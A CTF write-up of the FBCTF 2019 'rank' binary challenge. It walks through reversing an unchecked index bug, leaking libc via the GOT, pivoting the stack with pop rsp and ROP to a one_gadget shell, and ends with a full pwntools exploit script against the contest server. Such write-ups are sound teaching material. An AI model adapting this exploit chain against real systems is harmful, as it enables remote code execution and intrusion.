Writeup of FBCTF 2019 rank challenge.
I participated in FBCTF 2019 with my team glua.team
where we ended 20th place. One of the challenges we solved was rank
.
Analysis
The provided binary is a 64-bit ELF file called rank
. Furthermore, a libc file called libc-2.27.so
was provided. This means that we most likely have to do ret2libc or a onegadget.
Running checksec
on the provided binary yields the following result:
ling@sola:~/Documents/ctf/fb/rank$ checksec r4nk
[*] '/home/ling/Documents/ctf/fb/rank/r4nk'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
Since most security features are enabled, most notably stack canaries, there most likely isn’t going to be a stack buffer overflow.
The program is a simple ranking system. The user is able to show the ranking of all the titles using the show
command. This prints all the titles and their respective rank. The other command that is available is rank
. This allows the user to change the rank of a title. The output of running the binary can be seen on Figure 1.
Reversing the binary
Opening up the binary in IDA shows that symbols are stripped which makes it a little harder for us. The decompilation of the main function can be seen on Figure 2. Some of the function and variable names have been assigned by me during analysis.
This function doesn’t do anything special besides setting a 30 second timeout and calling main_loop
. The decompilation of this function is pretty big but the most important part can be seen on Figure 3.
The function will get user input as a number in an infite loop. The show command can be issued by entering 1
, the rank command by entering 2
, and the program will exit by entering 3
. The first 2 command each have their own function that will handle all the logic. The show_func
function doesn’t do anything special and will just print all the titles. The vulnerability in this binary is present in the rank_func
function. The decompilation of this function can be seen on Figure 4.
Pwning the binary
This function will get 2 numbers from the user input and then move some data around using this number. Since there are no bounds checks present in this function, this grants us the ability to move any memory we want. The only limitation is that we are limited to an 8 byte boundary. Using this, we can leak the GOT entry for __libc_start_main
to get the base address of libc.
1
2
3
4
5
6
7
8
9
10
11
# Step 1: Leak __libc_start_main
rank("0", "-263035")
show()
io.recvuntil("0. ")
LEAK = u64(io.recv(6) + "\x00\x00")
log.info("leak @ " + str(hex(LEAK)))
LIBC = LEAK - libc.symbols.__libc_start_main
log.success("libc @ " + str(hex(LIBC)))
Using this address, we can ROP to a onegadget and get a shell. By issuing the rank
command and using title higher than 16, the return pointer can be overwritten. This allows us to ROP to the onegadget. The problem however, is that the address of libc is so high that the call to strtol
will turn the number negative as seen on Figure 5.
To get around this problem, we jumped to a pop rsp
gadget to pivot the stack. We pointed the new stack pointer to the input buffer. This allowed us to bypass the strtol
call and use any characters we wanted.
1
2
3
4
5
6
7
8
9
10
# Step 2: Overwrite return pointer
rank("17", str(int(0x400980))) # pop rsp
rank("18", str(int(0x602120))) # rsp (read buffer)
rank("19", str("0")) # garbage
rank("0", "A" * 40 + p64(one_gadget)) # padding + our return pointer
quit()
io.interactive()
By issuing the quit
command, we jumped to our stack pivot. After the pivot, the stack would point to our onegadget and we would get a shell.
Full script
The full exploit script we made is available below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host challenges.fbctf.com --port 1339 r4nk
from pwn import *
import six
# Set up pwntools for the correct architecture
exe = context.binary = ELF('r4nk')
exe_gadgets = ROP(exe)
libc_str = '/lib/x86_64-linux-gnu/libc-2.23.so' if args.LOCAL else './libc-2.27.so'
libc = ELF(libc_str)
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'challenges.fbctf.com'
port = int(args.PORT or 1339)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *0x400acd
continue
'''.format(**locals())
'''
b *0x400918
b *0x400968
'''
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# FORTIFY: Enabled
def rank(title, rank):
io.sendline("2")
print io.recv(1024)
io.sendline(title)
print io.recv(1024)
io.sendline(rank)
print io.recv(1024)
def show():
io.sendline("1")
def quit():
io.sendline("3")
io = start()
io.recv(1024)
# Step 1: Leak write
rank("0", "-263035")
show()
io.recvuntil("0. ")
LEAK = u64(io.recv(6) + "\x00\x00")
log.info("leak @ " + str(hex(LEAK)))
LIBC = LEAK - libc.symbols.__libc_start_main
log.success("libc @ " + str(hex(LIBC)))
io.recv(1024)
one_gadget = LIBC + 0x10a38c
log.info("oneshotting @ " + str(hex(one_gadget)))
# Step 2: Overwrite return pointer
rank("17", str(int(0x400980))) # pop rsp
rank("18", str(int(0x602120))) # rsp (read buffer)
rank("19", str("0")) # garbage
rank("0", "A" * 40 + p64(one_gadget)) # padding + our return pointer
quit()
io.interactive()